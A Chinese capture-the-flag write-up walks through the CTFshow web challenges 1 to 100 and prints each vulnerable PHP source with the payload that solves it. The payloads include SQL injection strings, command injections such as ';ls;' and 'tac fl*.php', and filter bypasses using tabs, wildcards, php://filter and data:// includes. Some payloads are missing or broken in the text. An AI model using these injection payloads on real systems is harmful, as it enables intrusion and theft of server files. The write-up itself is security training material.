CTFSHOW WEB 1-100

web入门

给她 1

参考文档

https://blog.csdn.net/weixin_51412071/article/details/124270277

CTFSHOW WEB 1-100_第1张图片

查看链接

sql注入


$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

CTFSHOW WEB 1-100_第2张图片

直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#

CTFSHOW WEB 1-100_第3张图片

?name=admin&pass=%1$' or 1=1--+


CTFSHOW WEB 1-100_第4张图片

找到此页面的cookie

转为16进制解码得到

flag.txt

尝试将Cookie中的file赋值为/flag,即

将/flag换成16进制

Cookie: file=2f666c6167

成功

CTFSHOW WEB 1-100_第5张图片

签到题

 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

代码审计

构造url

get传入url

system表示php直接执行系统的命令

"|"是管道命令操作符,简称管道符。

使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,

第二个命令的输出又会作为第三个命令的输入,依此类推.

构造

http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;

则为:

curl https://;ls;.ctf.show

例如:

image-20221016155234428

靶场如下:

执行ls

CTFSHOW WEB 1-100_第6张图片

执行cat查看flag

CTFSHOW WEB 1-100_第7张图片

假赛生


session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."
"
; system('4rfvbgt56yhn.sh'); $query=mysqli_query($conn,$sql); $result=mysqli_fetch_assoc($query); if($name==='admin'){ echo "admin!!!!!"."
"
; if(isset($_GET['c'])){ preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1); echo $flag; }else{ echo "you not admin"; } } } ?>

题目显示register.php和login.php提示

CTFSHOW WEB 1-100_第8张图片

CTFSHOW WEB 1-100_第9张图片

注册admin

CTFSHOW WEB 1-100_第10张图片

使用admin (空格)注册

CTFSHOW WEB 1-100_第11张图片

注册成功

尝试登录

证实登录页面的php后台属于 上述

接着注入c

preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。

参数说明:

  • $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
  • $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。
有关正则匹配的知识
 \w:用于匹配字母,数字或下划线字符;
 \W:用于匹配所有与\w不匹配的字符;
 “*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;

其实没有过滤空格此处为空即可

CTFSHOW WEB 1-100_第12张图片

信息收集

web1

CTFSHOW WEB 1-100_第13张图片

查看源码即可

web2

强制打开

先在另外的页面打开检查,然后输入地址

web3

image-20230427224059029

web4

image-20230427224644763

访问 这个url

image-20230427224846043

web5

CTFSHOW WEB 1-100_第14张图片

web6

提示:解压源码到当前目录,测试正常,收工

url/www.zip

得到zip


url/fl000g.txt

CTFSHOW WEB 1-100_第15张图片

web7

版本控制很重要,但不要部署到生产环境更重要。
原理
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。

CTFSHOW WEB 1-100_第16张图片

web12

有时候网站上的公开信息,就是管理员常用密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V8TRkAZo-1682607215362)(null)]

整个网页

url/admin

提示登录

寻找密码

https://img-blog.csdnimg.cn/20210516091428533.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0dvb2RyaWM=,size_16,color_FFFFFF,t_70

直接登录

web14

小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

http://10a7bbc1-1b83-4af6-9e3a-da357edaf2b6.challenge.ctf.show/editor/


CTFSHOW WEB 1-100_第17张图片

如上图

CTFSHOW WEB 1-100_第18张图片

点击图片空间

遍历文件得到

fl000g.txt

image-20221020105907576

web16

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

url/tz.php

CTFSHOW WEB 1-100_第19张图片

点击

CTFSHOW WEB 1-100_第20张图片phpinfo

ctfshow{91d643da-2afc-4ff8-b6cc-d61a1d0cc296}

web17

备份的sql文件会泄露敏感信息

后台

下载到sql语句

查询得到

INSERT INTO `ctfshow_secret` VALUES ('ctfshow{49c243e0-a3e9-42d6-9378-760ebfd1bbb4}');

web18

不要着急,休息,休息一会儿,玩101分给你flag

查看js源码

CTFSHOW WEB 1-100_第21张图片

\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b

CTFSHOW WEB 1-100_第22张图片

解码后

访问

image-20221020112804421

web19

密钥什么的,就不要放在前端了

CTFSHOW WEB 1-100_第23张图片

    error_reporting(0);
    $flag="fakeflag"
    $u = $_POST['username'];
    $p = $_POST['pazzword'];
    if(isset($u) && isset($p)){
        if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
            echo $flag;
        }
}

ctfshow{4e1cc67e-fe41-42f3-89a5-dfa1608cc269}

打开brup

发现passzd不一样,修改passzd即可

爆破

web23



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: [email protected]
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

提示爆破,安排

在线编写函数爆破

CTFSHOW WEB 1-100_第24张图片

输入得到flag

ctfshow{eeee6a3c-db2e-4e5d-8aec-0adc7b1f4617}

web24

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?> Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022

intval() 函数用于获取变量的整数值。

直接在线php输入

CTFSHOW WEB 1-100_第25张图片

得到值

https://blog.csdn.net/qq_45521281/article/details/107302795

不幸的是,php每次调用mt_rand()函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。也就是说每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。

web25

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022

web27

CTFSHOW WEB 1-100_第26张图片

下载得到名单

爆破身份证号

CTFSHOW WEB 1-100_第27张图片

得到union,解码

恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

登录即可

命令执行

Web29

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

preg_match 函数用于执行一个正则表达式匹配。

使用system函数操作

CTFSHOW WEB 1-100_第28张图片

因为flag字符串被过滤

使用tac命令

反序查看

tac的功能是可以将文件的内容倒着顺序输出

http://13a798dc-688b-43e1-a5d8-58020aa6328f.challenge.ctf.show/?c=system(“tac fl*.php”);

查出

Web30

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

加入过滤的system和php

PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
由此:可以

CTFSHOW WEB 1-100_第29张图片

CTFSHOW WEB 1-100_第30张图片

web31

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这次过滤了空格和

使用%09绕过

CTFSHOW WEB 1-100_第31张图片

CTFSHOW WEB 1-100_第32张图片

仔细看url

CTFSHOW WEB 1-100_第33张图片

或者使用跳板

/?c=eval($_GET[1]);&1=system(“tac flag.php”);

web32

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤巨多

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

因为这题和web32一样,过滤了括号"|(",所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数

http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

当然使用post方法也可以

http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_POST[1]?>
1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码的flag

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmEzNTJjNGYtZjhlMC00NDk0LWFjYjMtZWY4NDUwNDJjOTc5fSI7DQo=

解码后即可



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: [email protected]
# @link: https://ctfer.com

*/

$flag="ctfshow{ba352c4f-f8e0-4494-acb3-ef845042c979}";

web34

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

与web33上述方法相同

web35

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

与web33一样

web36

 

上述的绕过无效

查看得知过滤了数字

所以使用其他索引,可以不加’’

http://3ad812aa-9d4c-40c2-9384-929c66b16173.challenge.ctf.show/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

改变题型

不是eval执行

使用伪协议

data://text/plain协议

此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,

http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,

可以执行

过略了flag

所以使用占位符?

http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/1.txt

即可查看

web38

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

新加了php和file限制

使用php代码块绕过

注意flag.php 不能包含php

加上使用短标签绕过

说明:“=”是PHP的一个短的开放式标签,是echo() 的快捷用法。

http://8bd3cc78-8585-4eb6-9005-ff69df84e908.challenge.ctf.show/?c=data://text/plain,

web39

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

没有回显

include 只生成警告(E_WARNING),并且脚本会继续

后面强制加入后缀

http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,

有回显

然后

因为php 先执行前面的,再执行.php 所以有回显

http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,

页面显示.php

1.txt

web40



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

官方

http://c6854ce2-0c57-4597-837b-7eab839fcd51.challenge.ctf.show/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

web42

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

类似黑洞

输入第一个参数无反应

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls

空白

双写绕过

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls;ls

flag.php index.php

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?cat flag/php;ls

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:44
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:49:53
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="ctfshow{b18aaef2-c72e-4578-b3c0-b0040746fb94}";

知识点

1、可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.

> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

web43

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了;和cat

使用url编码加&&绕过

http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=ls%26%26ls

flag.php index.php

当&&的时候才会执行第二个命令

直接执行

http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=tac flag.php%26%26ls

web44

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了flag

使用通配符

http://4d153915-5e45-4ce0-8bd9-fa7917cc64a1.challenge.ctf.show/?c=tac fla*.php%26%26ls

web45

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了空格

http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl**.php%26%26ls

使用ascii表的%09绕过

Ascii表如下:

二进制 十进制 十六进制 字符/缩写 解释
00000000 0 00 NUL (NULL) 空字符
00000001 1 01 SOH (Start Of Headling) 标题开始
00000010 2 02 STX (Start Of Text) 正文开始
00000011 3 03 ETX (End Of Text) 正文结束
00000100 4 04 EOT (End Of Transmission) 传输结束
00000101 5 05 ENQ (Enquiry) 请求
00000110 6 06 ACK (Acknowledge) 回应/响应/收到通知
00000111 7 07 BEL (Bell) 响铃
00001000 8 08 BS (Backspace) 退格
00001001 9 09 HT (Horizontal Tab) 水平制表符
00001010 10 0A LF/NL(Line Feed/New Line) 换行键
00001011 11 0B VT (Vertical Tab) 垂直制表符
00001100 12 0C FF/NP (Form Feed/New Page) 换页键
00001101 13 0D CR (Carriage Return) 回车键
00001110 14 0E SO (Shift Out) 不用切换
00001111 15 0F SI (Shift In) 启用切换
00010000 16 10 DLE (Data Link Escape) 数据链路转义
00010001 17 11 DC1/XON (Device Control 1/Transmission On) 设备控制1/传输开始
00010010 18 12 DC2 (Device Control 2) 设备控制2
00010011 19 13 DC3/XOFF (Device Control 3/Transmission Off) 设备控制3/传输中断
00010100 20 14 DC4 (Device Control 4) 设备控制4
00010101 21 15 NAK (Negative Acknowledge) 无响应/非正常响应/拒绝接收
00010110 22 16 SYN (Synchronous Idle) 同步空闲
00010111 23 17 ETB (End of Transmission Block) 传输块结束/块传输终止
00011000 24 18 CAN (Cancel) 取消
00011001 25 19 EM (End of Medium) 已到介质末端/介质存储已满/介质中断
00011010 26 1A SUB (Substitute) 替补/替换
00011011 27 1B ESC (Escape) 逃离/取消
00011100 28 1C FS (File Separator) 文件分割符
00011101 29 1D GS (Group Separator) 组分隔符/分组符
00011110 30 1E RS (Record Separator) 记录分离符
00011111 31 1F US (Unit Separator) 单元分隔符
00100000 32 20 (Space) 空格
00100001 33 21 !
00100010 34 22 "
00100011 35 23 #
00100100 36 24 $
00100101 37 25 %
00100110 38 26 &
00100111 39 27
00101000 40 28 (
00101001 41 29 )
00101010 42 2A *
00101011 43 2B +
00101100 44 2C ,
00101101 45 2D -
00101110 46 2E .
00101111 47 2F /
00110000 48 30 0
00110001 49 31 1
00110010 50 32 2
00110011 51 33 3
00110100 52 34 4
00110101 53 35 5
00110110 54 36 6
00110111 55 37 7
00111000 56 38 8
00111001 57 39 9
00111010 58 3A :
00111011 59 3B ;
00111100 60 3C <
00111101 61 3D =
00111110 62 3E >
00111111 63 3F ?
01000000 64 40 @
01000001 65 41 A
01000010 66 42 B
01000011 67 43 C
01000100 68 44 D
01000101 69 45 E
01000110 70 46 F
01000111 71 47 G
01001000 72 48 H
01001001 73 49 I
01001010 74 4A J
01001011 75 4B K
01001100 76 4C L
01001101 77 4D M
01001110 78 4E N
01001111 79 4F O
01010000 80 50 P
01010001 81 51 Q
01010010 82 52 R
01010011 83 53 S
01010100 84 54 T
01010101 85 55 U
01010110 86 56 V
01010111 87 57 W
01011000 88 58 X
01011001 89 59 Y
01011010 90 5A Z
01011011 91 5B [
01011100 92 5C \
01011101 93 5D ]
01011110 94 5E ^
01011111 95 5F _
01100000 96 60 `
01100001 97 61 a
01100010 98 62 b
01100011 99 63 c
01100100 100 64 d
01100101 101 65 e
01100110 102 66 f
01100111 103 67 g
01101000 104 68 h
01101001 105 69 i
01101010 106 6A j
01101011 107 6B k
01101100 108 6C l
01101101 109 6D m
01101110 110 6E n
01101111 111 6F o
01110000 112 70 p
01110001 113 71 q
01110010 114 72 r
01110011 115 73 s
01110100 116 74 t
01110101 117 75 u
01110110 118 76 v
01110111 119 77 w
01111000 120 78 x
01111001 121 79 y
01111010 122 7A z
01111011 123 7B {
01111100 124 7C |
01111101 125 7D }
01111110 126 7E ~
01111111 127 7F DEL (Delete) 删除

web46

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

不让*和数字

换成??即可

http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl??.php%26%26ls

web47



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

直接用上一个的payload

web48

一样没有过滤tac

web49

一样没有过滤tac

web50

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了%09和$和空格

http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl

url编码后

http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl

nl命令:

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

其中’'为两个的单引号

web51

与web50一样

web52



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了<和>,没有过滤$

考虑使用IFS

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

其中数字过滤

使用cp和mv命令均无效

